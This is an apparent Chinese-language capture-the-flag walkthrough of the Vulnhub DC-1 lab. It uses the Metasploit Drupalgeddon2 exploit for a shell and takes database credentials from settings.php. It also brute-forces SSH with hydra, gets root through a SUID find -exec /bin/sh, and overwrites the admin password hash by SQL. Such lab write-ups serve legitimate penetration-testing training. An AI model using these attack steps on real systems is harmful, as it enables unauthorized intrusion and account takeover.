Vulnhub靶机:DC-1

标签Drupal CMSCVE-2018-7600drupal_drupalgeddon2漏洞linux提权

0x00 环境准备

下载地址:https://www.vulnhub.com/entry/dc-1,292/
flag数量:5
攻击机:kali
攻击机地址:192.168.5.4
靶机描述:

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

0x01 信息搜集

1.探测靶机地址

命令:arp-scan -l

靶机地址是192.168.5.5

2.探测靶机开放端口

命令:nmap -sV -p- 192.168.5.5

目前来看,可以做的事有:①尝试爆破SSH弱口令。②从80端口找web漏洞。
先看一下80端口吧。

发现是Drupal CMS

0x02 drupal_drupalgeddon2漏洞

通过查询发现,该版本下存在许多漏洞,包括sql注入,远程命令执行等,打开msf看一下有没有利用脚本。

root@locahost:~# msfconsole
msf5 > search drupal

使用exploit/unix/webapp/drupal_drupalgeddon2漏洞攻击,因为它时间比较新,而且rankexcellent

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options(查看需要设置哪些参数)
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.5.5
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

利用成功了:

使用shell命令,进入到靶机命令行
meterpreter > shell

使用ls命令,可以看到当前目录有一个flag1.txt文件,使用cat命令查看

这应该是一个提示,那就看一下它的配置文件,百度一下目录结构。

看一下./sites/default/settings.php文件里有没有flag

这里发现了flag2提示,并且还看到了数据库的用户名和密码dbuser \ R0ck3t。这里的提示大概意思是“蛮力和字典攻击并不是获得访问权限的唯一方法”。这里的提示没有什么思路,先看一下/etc/passwd文件吧。

passwd文件存放在/etc目录下。这个文件存放着所有用户帐号的信息,包括用户名和密码。Passwd文件由许多条记录组成,每条记录占一行,记录了一个用户帐号的所有信息。每条记录由7个字段组成,字段间用冒号“:”隔开,其格式如下:username:password:User ID:Group ID:comment:home directory:shell

0x03 hydra爆破SSH

这里有个用户名为flag4的用户,之前扫描端口的时候靶机还开着22端口,尝试使用hydra爆破22端口。这里的字典使用的是kali自带的字典,kali默认密码字典在/usr/share/wordlists/目录下。
命令:hydra -l flag4 -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 50 ssh://192.168.5.5

-l 单个用户名,大写是用户名文件
-P 密码文件,小写是单个密码
-t 设置线程数

可以看到爆破出来了flag4 \ orange,登录一下看看:
命令:ssh [email protected]

0x04 提权

ls看一下当前目录,发现了flag4.txt文件,cat查看,给的提示大概意思是“你能用同样的方法找到root的flag吗?”。应该是要我们提权到root。
linux下的提权我还没试过,就去找了一下大佬们的教程,所以这里我就不细说了,我会把文章里用到的所有链接都贴到结尾。下面开始提权。
以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试。

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

这里只有第一个命令可以执行,第二个和第三个都不行,所以就用第一个。
接下来随便找一个命令进行利用,我们就用find,先查看其信息,发现其确实是root用户权限的SUID的文件。
命令:ls -lh /usr/bin/find

创建一个文件夹:touch getflag
执行命令:find / -type f -name getflag -exec "whoami" \;

可以看到现在的身份是root了
执行命令:

find / -type f -name getflag -exec "/bin/sh" \;
cd /root
ls

进入到root目录下发现了thefinalflag.txt,也就是最后一个flag,那flag3去哪了?

0x05 遗漏的flag3

回想一下刚才得到的信息还有哪里没有用到,刚才在配置文件中看到了数据库的账号密码,那我们去数据中看一下是不是藏着flag3。
命令:mysql -udbuser -p
输入密码进入到数据库,数据库命令后面一定要加分号。
查看数据库:show databases;
使用指定数据库:use drupaldb;

查看当前库下的数据表:show tables;
并没有看到flag3的踪影,那就看一user表吧,拿个admin账号密码去登录一下web系统。

命令:select * from users;

woc,这密码的加密方式让我一脸懵逼,那就试一下修改admin密码吧,在网上找到了修改语句update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';。现在admin的账号密码就是admin \ password了。

成功登录,在dashboard中找到了flag3。

截止到这里,5个flag就已经全部找到了。

由于我不会每天都登录,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“”

你可能感兴趣的:(Vulnhub靶机:DC-1)